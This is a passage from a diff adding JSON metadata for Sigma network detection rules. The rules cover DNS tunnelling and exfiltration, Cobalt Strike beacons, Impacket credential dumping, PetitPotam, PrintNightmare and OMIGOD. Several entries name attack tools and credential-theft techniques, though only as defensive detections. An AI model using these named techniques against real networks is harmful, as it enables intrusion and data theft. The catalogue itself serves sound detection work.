a span/rspan is setup or modified", + "uuid": "b9e1f193-d236-4451-aaae-2f3d2102120d", + "value": "Cisco Sniffing", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_net_sniff.yml" + ], + "tags": [ + "attack.credential_access", + "attack.discovery", + "attack.t1040" + ], + "creation_date": "2019/08/11", + "filename": "cisco_cli_net_sniff.yml", + "author": "Austin Clark", + "level": "medium", + "falsepositive": [ + "Admins may setup new or modify old spans, or use a monitor for troubleshooting" + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "Normally, DNS logs contain a limited amount of different dns queries for a single domain. This rule detects a high amount of queries for a single domain, which can be an indicator that DNS is used to transfer data.", + "uuid": "1ec4b281-aa65-46a2-bdae-5fd830ed914e", + "value": "Possible DNS Tunneling", + "meta": { + "refs": [ + "https://zeltser.com/c2-dns-tunneling/", + "https://patrick-bareiss.com/detect-c2-traffic-over-dns-using-sigma/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_c2_detection.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.004", + "attack.exfiltration", + "attack.t1048.003" + ], + "creation_date": "2019/04/07", + "filename": "net_dns_c2_detection.yml", + "author": "Patrick Bareiss", + "level": "high", + "falsepositive": [ + "Valid software, which uses dns for transferring data" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious DNS queries to external service interaction domains often used for out-of-band interactions after successful RCE", + "uuid": "aff715fa-4dd5-497a-8db3-910bea555566", + "value": "DNS Query to External Service Interaction Domains", + "meta": { + "refs": [ + "https://twitter.com/breakersall/status/1533493587828260866", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_external_service_interaction_domains.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.reconnaissance", + "attack.t1595.002" + ], + "creation_date": "2022/06/07", + "filename": "net_dns_external_service_interaction_domains.yml", + "author": "Florian Roth, Matt Kelly (list of domains)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "High DNS queries bytes amount from host per short period of time", + "uuid": "0f6c1bf5-70a5-4963-aef9-aab1eefb50bd", + "value": "High DNS Bytes Out", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_bytes_out.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ], + "creation_date": "2019/10/24", + "filename": "net_dns_high_bytes_out.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate high DNS bytes out rate to domain name which should be added to whitelist" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "Extremely high rate of NULL record type DNS requests from host per short period of time. Possible result of iodine tool execution", + "uuid": "44ae5117-9c44-40cf-9c7c-7edad385ca70", + "value": "High NULL Records Requests Rate", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_null_records_requests_rate.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003", + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2019/10/24", + "filename": "net_dns_high_null_records_requests_rate.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate high DNS NULL requests rate to domain name which should be added to whitelist" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "High DNS requests amount from host per short period of time", + "uuid": "b4163085-4001-46a3-a79a-55d8bbbc7a3a", + "value": "High DNS Requests Rate", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_requests_rate.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003", + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2019/10/24", + "filename": "net_dns_high_requests_rate.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate high DNS requests rate to domain name which should be added to whitelist" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "Extremely high rate of TXT record type DNS requests from host per short period of time. Possible result of Do-exfiltration tool execution", + "uuid": "f0a8cedc-1d22-4453-9c44-8d9f4ebd5d35", + "value": "High TXT Records Requests Rate", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_high_txt_records_requests_rate.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003", + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2019/10/24", + "filename": "net_dns_high_txt_records_requests_rate.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate high DNS TXT requests rate to domain name which should be added to whitelist" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious DNS queries known from Cobalt Strike beacons", + "uuid": "2975af79-28c4-4d2f-a951-9095f229df29", + "value": "Cobalt Strike DNS Beaconing", + "meta": { + "refs": [ + "https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns", + "https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_mal_cobaltstrike.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2018/05/10", + "filename": "net_dns_mal_cobaltstrike.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious DNS queries to Monero mining pools", + "uuid": "b593fd50-7335-4682-a36c-4edcb68e4641", + "value": "Monero Crypto Coin Mining Pool Lookup", + "meta": { + "refs": [ + "https://www.nextron-systems.com/2021/10/24/monero-mining-pool-fqdns/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_pua_cryptocoin_mining_xmr.yml" + ], + "tags": [ + "attack.impact", + "attack.t1496", + "attack.t1567" + ], + "creation_date": "2021/10/24", + "filename": "net_dns_pua_cryptocoin_mining_xmr.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate crypto coin mining" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious DNS queries using base64 encoding", + "uuid": "4153a907-2451-4e4f-a578-c52bb6881432", + "value": "Suspicious DNS Query with B64 Encoded String", + "meta": { + "refs": [ + "https://github.com/krmaxwell/dns-exfiltration", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_b64_queries.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003", + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2018/05/10", + "filename": "net_dns_susp_b64_queries.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious DNS queries to api.telegram.org used by Telegram Bots of any kind", + "uuid": "c64c5175-5189-431b-a55e-6d9882158251", + "value": "Telegram Bot API Request", + "meta": { + "refs": [ + "https://core.telegram.org/bots/faq", + "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/", + "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/", + "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_telegram_api.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1102.002" + ], + "creation_date": "2018/06/05", + "filename": "net_dns_susp_telegram_api.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate use of Telegram bots in the company" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "Detects strings used in command execution in DNS TXT Answer", + "uuid": "8ae51330-899c-4641-8125-e39f2e07da72", + "value": "DNS TXT Answer with Possible Execution Strings", + "meta": { + "refs": [ + "https://twitter.com/stvemillertime/status/1024707932447854592", + "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Backdoors/DNS_TXT_Pwnage.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_txt_exec_strings.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2018/08/08", + "filename": "net_dns_susp_txt_exec_strings.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "Detects wannacry killswitch domain dns queries", + "uuid": "3eaf6218-3bed-4d8a-8707-274096f12a18", + "value": "Wannacry Killswitch Domain", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/products-and-services/2017/05/wannacry-ransomware-campaign.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_wannacry_killswitch_domain.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2020/09/16", + "filename": "net_dns_wannacry_killswitch_domain.yml", + "author": "Mike Wade", + "level": "high", + "falsepositive": [ + "Analyst testing" + ], + "logsource.category": "dns", + "logsource.product": "No established product" + } + }, + { + "description": "Detects communication to C2 servers mentioned in the operational notes of the ShadowBroker leak of EquationGroup C2 tools", + "uuid": "881834a4-6659-4773-821e-1c151789d873", + "value": "Equation Group C2 Communication", + "meta": { + "refs": [ + "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation", + "https://medium.com/@msuiche/the-nsa-compromised-swift-network-50ec3000b195", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_apt_equationgroup_c2.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.g0020", + "attack.t1041" + ], + "creation_date": "2017/04/15", + "filename": "net_firewall_apt_equationgroup_c2.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "firewall", + "logsource.product": "No established product" + } + }, + { + "description": "High DNS queries bytes amount from host per short period of time", + "uuid": "3b6e327d-8649-4102-993f-d25786481589", + "value": "High DNS Bytes Out", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_high_dns_bytes_out.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ], + "creation_date": "2019/10/24", + "filename": "net_firewall_high_dns_bytes_out.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate high DNS bytes out rate to domain name which should be added to whitelist" + ], + "logsource.category": "firewall", + "logsource.product": "No established product" + } + }, + { + "description": "High DNS requests amount from host per short period of time", + "uuid": "51186749-7415-46be-90e5-6914865c825a", + "value": "High DNS Requests Rate", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_high_dns_requests_rate.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003", + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2019/10/24", + "filename": "net_firewall_high_dns_requests_rate.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate high DNS requests rate to domain name which should be added to whitelist" + ], + "logsource.category": "firewall", + "logsource.product": "No established product" + } + }, + { + "description": "Detects many failed connection attempts to different ports or hosts", + "uuid": "4601eaec-6b45-4052-ad32-2d96d26ce0d8", + "value": "Network Scans Count By Destination IP", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_susp_network_scan_by_ip.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ], + "creation_date": "2017/02/19", + "filename": "net_firewall_susp_network_scan_by_ip.yml", + "author": "Thomas Patzke", + "level": "medium", + "falsepositive": [ + "Inventarization systems", + "Vulnerability scans" + ], + "logsource.category": "firewall", + "logsource.product": "No established product" + } + }, + { + "description": "Detects many failed connection attempts to different ports or hosts", + "uuid": "fab0ddf0-b8a9-4d70-91ce-a20547209afb", + "value": "Network Scans Count By Destination Port", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_susp_network_scan_by_port.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ], + "creation_date": "2017/02/19", + "filename": "net_firewall_susp_network_scan_by_port.yml", + "author": "Thomas Patzke", + "level": "medium", + "falsepositive": [ + "Inventarization systems", + "Vulnerability scans" + ], + "logsource.category": "firewall", + "logsource.product": "No established product" + } + }, + { + "description": "Domain user and group enumeration via network reconnaissance.\nSeen in APT 29 and other common tactics and actors. Detects a set of RPC (remote procedure calls) used to enumerate a domain controller.\nThe rule was created based off the datasets and hackathon from https://github.com/OTRF/detection-hackathon-apt29\n", + "uuid": "66a0bdc6-ee04-441a-9125-99d2eb547942", + "value": "Domain User Enumeration Network Recon 01", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29", + "https://github.com/OTRF/detection-hackathon-apt29/issues/37", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_domain_user_enumeration.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.002", + "attack.t1082" + ], + "creation_date": "2020/05/03", + "filename": "zeek_dce_rpc_domain_user_enumeration.yml", + "author": "Nate Guagenti (@neu5ron), Open Threat Research (OTR)", + "level": "medium", + "falsepositive": [ + "Devices that may do authentication like a VPN or a firewall that looksup IPs to username", + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Windows DCE-RPC functions which indicate an execution techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE", + "uuid": "b640c0b8-87f8-4daa-aef8-95a24261dd1d", + "value": "MITRE BZAR Indicators for Execution", + "meta": { + "refs": [ + "https://github.com/mitre-attack/bzar#indicators-for-attck-execution", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_mitre_bzar_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.t1053.002", + "attack.t1569.002" + ], + "creation_date": "2020/03/19", + "filename": "zeek_dce_rpc_mitre_bzar_execution.yml", + "author": "@neu5ron, SOC Prime", + "level": "medium", + "falsepositive": [ + "Windows administrator tasks or troubleshooting", + "Windows management scripts or software" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Windows DCE-RPC functions which indicate a persistence techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE.", + "uuid": "53389db6-ba46-48e3-a94c-e0f2cefe1583", + "value": "MITRE BZAR Indicators for Persistence", + "meta": { + "refs": [ + "https://github.com/mitre-attack/bzar#indicators-for-attck-persistence", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_mitre_bzar_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.004" + ], + "creation_date": "2020/03/19", + "filename": "zeek_dce_rpc_mitre_bzar_persistence.yml", + "author": "@neu5ron, SOC Prime", + "level": "medium", + "falsepositive": [ + "Windows administrator tasks or troubleshooting", + "Windows management scripts or software" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detects usage of the windows RPC library Encrypting File System Remote Protocol (MS-EFSRPC). Variations of this RPC are used within the attack refereed to as PetitPotam.\nThe usage of this RPC function should be rare if ever used at all.\nThus usage of this function is uncommon enough that any usage of this RPC function should warrant further investigation to determine if it is legitimate.\n View surrounding logs (within a few minutes before and after) from the Source IP to. Logs from from the Source IP would include dce_rpc, smb_mapping, smb_files, rdp, ntlm, kerberos, etc..'\n", + "uuid": "4096842a-8f9f-4d36-92b4-d0b2a62f9b2a", + "value": "Potential PetitPotam Attack Via EFS RPC Calls", + "meta": { + "refs": [ + "https://github.com/topotam/PetitPotam/blob/d83ac8f2dd34654628c17490f99106eb128e7d1e/PetitPotam/PetitPotam.cpp", + "https://msrc.microsoft.com/update-guide/vulnerability/ADV210003", + "https://vx-underground.org/archive/Symantec/windows-vista-network-attack-07-en.pdf", + "https://threatpost.com/microsoft-petitpotam-poc/168163/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_potential_petit_potam_efs_rpc_call.yml" + ], + "tags": [ + "attack.t1557.001", + "attack.t1187" + ], + "creation_date": "2021/08/17", + "filename": "zeek_dce_rpc_potential_petit_potam_efs_rpc_call.yml", + "author": "@neu5ron, @Antonlovesdnb, Mike Remen", + "level": "medium", + "falsepositive": [ + "Uncommon but legitimate windows administrator or software tasks that make use of the Encrypting File System RPC Calls. Verify if this is common activity (see description)." + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detects the remote installation of a print driver which is possible indication of the exploitation of PrintNightmare (CVE-2021-1675).\nThe occurrence of print drivers being installed remotely via RPC functions should be rare, as print drivers are normally installed locally and or through group policy.\n", + "uuid": "7b33baef-2a75-4ca3-9da4-34f9a15382d8", + "value": "Possible PrintNightmare Print Driver Install", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par/93d1915d-4d9f-4ceb-90a7-e8f2a59adc29", + "https://github.com/zeek/zeek/blob/691b099de13649d6576c7b9d637f8213ff818832/scripts/base/protocols/dce-rpc/consts.zeek", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", + "https://github.com/corelight/CVE-2021-1675", + "https://old.zeek.org/zeekweek2019/slides/bzar.pdf", + "https://www.crowdstrike.com/blog/cve-2021-1678-printer-spooler-relay-security-advisory/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_printnightmare_print_driver_install.yml" + ], + "tags": [ + "attack.execution", + "cve.2021.1678", + "cve.2021.1675", + "cve.2021.34527" + ], + "creation_date": "2021/08/23", + "filename": "zeek_dce_rpc_printnightmare_print_driver_install.yml", + "author": "@neu5ron (Nate Guagenti)", + "level": "medium", + "falsepositive": [ + "Legitimate remote alteration of a printer driver." + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.", + "uuid": "bae2865c-5565-470d-b505-9496c87d0c30", + "value": "SMB Spoolss Name Piped Usage", + "meta": { + "refs": [ + "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", + "https://dirkjanm.io/a-different-way-of-abusing-zerologon/", + "https://twitter.com/_dirkjan/status/1309214379003588608", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dce_rpc_smb_spoolss_named_pipe.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2018/11/28", + "filename": "zeek_dce_rpc_smb_spoolss_named_pipe.yml", + "author": "OTR (Open Threat Research), @neu5ron", + "level": "medium", + "falsepositive": [ + "Domain Controllers that are sometimes, commonly although should not be, acting as printer servers too" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detects the presence of default Cobalt Strike certificate in the HTTPS traffic", + "uuid": "7100f7e3-92ce-4584-b7b7-01b40d3d4118", + "value": "Default Cobalt Strike Certificate", + "meta": { + "refs": [ + "https://sergiusechel.medium.com/improving-the-network-based-detection-of-cobalt-strike-c2-servers-in-the-wild-while-reducing-the-6964205f6468", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_default_cobalt_strike_certificate.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.s0154" + ], + "creation_date": "2021/06/23", + "filename": "zeek_default_cobalt_strike_certificate.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Identifies clients that may be performing DNS lookups associated with common currency mining pools.", + "uuid": "bf74135c-18e8-4a72-a926-0e4f47888c19", + "value": "DNS Events Related To Mining Pools", + "meta": { + "refs": [ + "https://github.com/Azure/Azure-Sentinel/blob/fa0411f9424b6c47b4d5a20165e4f1b168c1f103/Detections/ASimDNS/imDNS_Miners.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_mining_pools.yml" + ], + "tags": [ + "attack.t1569.002", + "attack.t1496" + ], + "creation_date": "2021/08/19", + "filename": "zeek_dns_mining_pools.yml", + "author": "Saw Winn Naung, Azure-Sentinel, @neu5ron", + "level": "low", + "falsepositive": [ + "A DNS lookup does not necessarily mean a successful attempt, verify a) if there was a response using the zeek answers field, if there was then verify the connections (conn.log) to those IPs. b) verify if HTTP, SSL, or TLS activity to the domain that was queried. http.log field is 'host' and ssl/tls is 'server_name'." + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "NKN is a networking service using blockchain technology to support a decentralized network of peers. While there are legitimate uses for it, it can also be used as a C2 channel. This rule looks for a DNS request to the ma>", + "uuid": "fa7703d6-0ee8-4949-889c-48c84bc15b6f", + "value": "New Kind of Network (NKN) Detection", + "meta": { + "refs": [ + "https://github.com/nknorg/nkn-sdk-go", + "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/", + "https://github.com/Maka8ka/NGLite", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_nkn.yml" + ], + "tags": [ + "attack.command_and_control" + ], + "creation_date": "2022/04/21", + "filename": "zeek_dns_nkn.yml", + "author": "Michael Portera (@mportatoes)", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "The DNS Z flag is bit within the DNS protocol header that is, per the IETF design, meant to be used reserved (unused).\nAlthough recently it has been used in DNSSec, the value being set to anything other than 0 should be rare.\nOtherwise if it is set to non 0 and DNSSec is being used, then excluding the legitimate domains is low effort and high reward.\nDetermine if multiple of these files were accessed in a short period of time to further enhance the possibility of seeing if this was a one off or the possibility of larger sensitive file gathering.\nThis Sigma query is designed to accompany the Corelight Threat Hunting Guide, which can be found here: https://www3.corelight.com/corelights-introductory-guide-to-threat-hunting-with-zeek-bro-logs'\n", + "uuid": "ede05abc-2c9e-4624-9944-9ff17fdc0bf5", + "value": "Suspicious DNS Z Flag Bit Set", + "meta": { + "refs": [ + "https://twitter.com/neu5ron/status/1346245602502443009", + "https://tdm.socprime.com/tdm/info/eLbyj4JjI15v#sigma", + "https://tools.ietf.org/html/rfc2929#section-2.1", + "https://www.netresec.com/?page=Blog&month=2021-01&post=Finding-Targeted-SUNBURST-Victims-with-pDNS", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_susp_zbit_flag.yml" + ], + "tags": [ + "attack.t1095", + "attack.t1571", + "attack.command_and_control" + ], + "creation_date": "2021/05/04", + "filename": "zeek_dns_susp_zbit_flag.yml", + "author": "@neu5ron, SOC Prime Team, Corelight", + "level": "medium", + "falsepositive": [ + "Internal or legitimate external domains using DNSSec. Verify if these are legitimate DNSSec domains and then exclude them.", + "If you work in a Public Sector then it may be good to exclude things like endswith \".edu\", \".gov\" and or \".mil\"" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Identifies IPs performing DNS lookups associated with common Tor proxies.", + "uuid": "a8322756-015c-42e7-afb1-436e85ed3ff5", + "value": "DNS TOR Proxies", + "meta": { + "refs": [ + "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/ASimDNS/imDNS_TorProxies.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_dns_torproxy.yml" + ], + "tags": [ + "attack.t1048" + ], + "creation_date": "2021/08/15", + "filename": "zeek_dns_torproxy.yml", + "author": "Saw Winn Naung , Azure-Sentinel", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detects executable access via webdav6. Can be seen in APT 29 such as from the emulated APT 29 hackathon https://github.com/OTRF/detection-hackathon-apt29/", + "uuid": "aac2fd97-bcba-491b-ad66-a6edf89c71bf", + "value": "Executable from Webdav", + "meta": { + "refs": [ + "http://carnal0wnage.attackresearch.com/2012/06/webdav-server-to-download-custom.html", + "https://github.com/OTRF/detection-hackathon-apt29", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_executable_download_from_webdav.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2020/05/01", + "filename": "zeek_http_executable_download_from_webdav.yml", + "author": "SOC Prime, Adam Swan", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request.\nVerify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP).\nWithin the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request.\n", + "uuid": "ab6b1a39-a9ee-4ab4-b075-e83acf6e346b", + "value": "OMIGOD HTTP No Authentication RCE", + "meta": { + "refs": [ + "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", + "https://twitter.com/neu5ron/status/1438987292971053057?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_omigod_no_auth_rce.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.initial_access", + "attack.execution", + "attack.lateral_movement", + "attack.t1068", + "attack.t1190", + "attack.t1203", + "attack.t1021.006", + "attack.t1210" + ], + "creation_date": "2021/09/20", + "filename": "zeek_http_omigod_no_auth_rce.yml", + "author": "Nate Guagenti (neu5ron)", + "level": "high", + "falsepositive": [ + "Exploits that were attempted but unsuccessful.", + "Scanning attempts with the abnormal use of the HTTP POST method with no indication of code execution within the HTTP Client (Request) body. An example would be vulnerability scanners trying to identify unpatched versions while not actually exploiting the vulnerability. See description for investigation tips." + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "A General detection for WebDav user-agent being used to PUT files on a WebDav network share. This could be an indicator of exfiltration.", + "uuid": "705072a5-bb6f-4ced-95b6-ecfa6602090b", + "value": "WebDav Put Request", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/17", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_http_webdav_put_request.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ], + "creation_date": "2020/05/02", + "filename": "zeek_http_webdav_put_request.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detects connections from routable IPs to an RDP listener - which is indicative of a publicly-accessible RDP service.", + "uuid": "1fc0809e-06bf-4de3-ad52-25e5263b7623", + "value": "Publicly Accessible RDP Service", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1021/001/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_rdp_public_listener.yml" + ], + "tags": [ + "attack.t1021.001" + ], + "creation_date": "2020/08/22", + "filename": "zeek_rdp_public_listener.yml", + "author": "Josh Brower @DefensiveDepth", + "level": "high", + "falsepositive": [ + "Although it is recommended to NOT have RDP exposed to the internet, verify that this is a) allowed b) the server has not already been compromised via some brute force or remote exploit since it has been exposed to the internet. Work to secure the server if you are unable to remove it from being exposed to the internet." + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detects remote task creation via at.exe or API interacting with ATSVC namedpipe", + "uuid": "dde85b37-40cd-4a94-b00c-0b8794f956b5", + "value": "Remote Task Creation via ATSVC Named Pipe - Zeek", + "meta": { + "refs": [ + "https://github.com/neo23x0/sigma/blob/d42e87edd741dd646db946f30964f331f92f50e6/rules/windows/builtin/win_atsvc_task.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_atsvc_task.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.persistence", + "car.2013-05-004", + "car.2015-04-001", + "attack.t1053.002" + ], + "creation_date": "2020/04/03", + "filename": "zeek_smb_converted_win_atsvc_task.yml", + "author": "Samir Bousseaden, @neu5rn", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "Detect AD credential dumping using impacket secretdump HKTL. Based on the SIGMA rules/windows/builtin/win_impacket_secretdump.yml", + "uuid": "92dae1ed-1c9d-4eff-a567-33acbd95b00e", + "value": "Possible Impacket SecretDump Remote Activity - Zeek", + "meta": { + "refs": [ + "https://blog.menasec.net/2019/02/threat-huting-10-impacketsecretdump.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/zeek/zeek_smb_converted_win_impacket_secretdump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.003" + ], + "creation_date": "2020/03/19", + "filename": "zeek_smb_converted_win_impacket_secretdump.yml", + "author": "Samir Bousseaden, @neu5ron", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "zeek" + } + }, + { + "description": "This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes", + 